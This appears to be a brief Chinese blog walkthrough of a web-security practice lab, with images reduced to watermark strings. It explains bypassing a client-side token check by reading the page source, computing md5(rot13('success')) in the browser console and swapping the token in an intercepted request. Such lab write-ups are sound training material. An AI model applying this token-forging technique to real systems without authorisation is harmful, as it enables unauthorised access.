watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_15,color_FFFFFF,t_70,g_se,x_16

token不正确

查看页面源代码

发现token的值是md5(rot13(phrase))

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16

通过控制台获得success的token值

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_19,color_FFFFFF,t_70,g_se,x_16

抓包修改token值

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值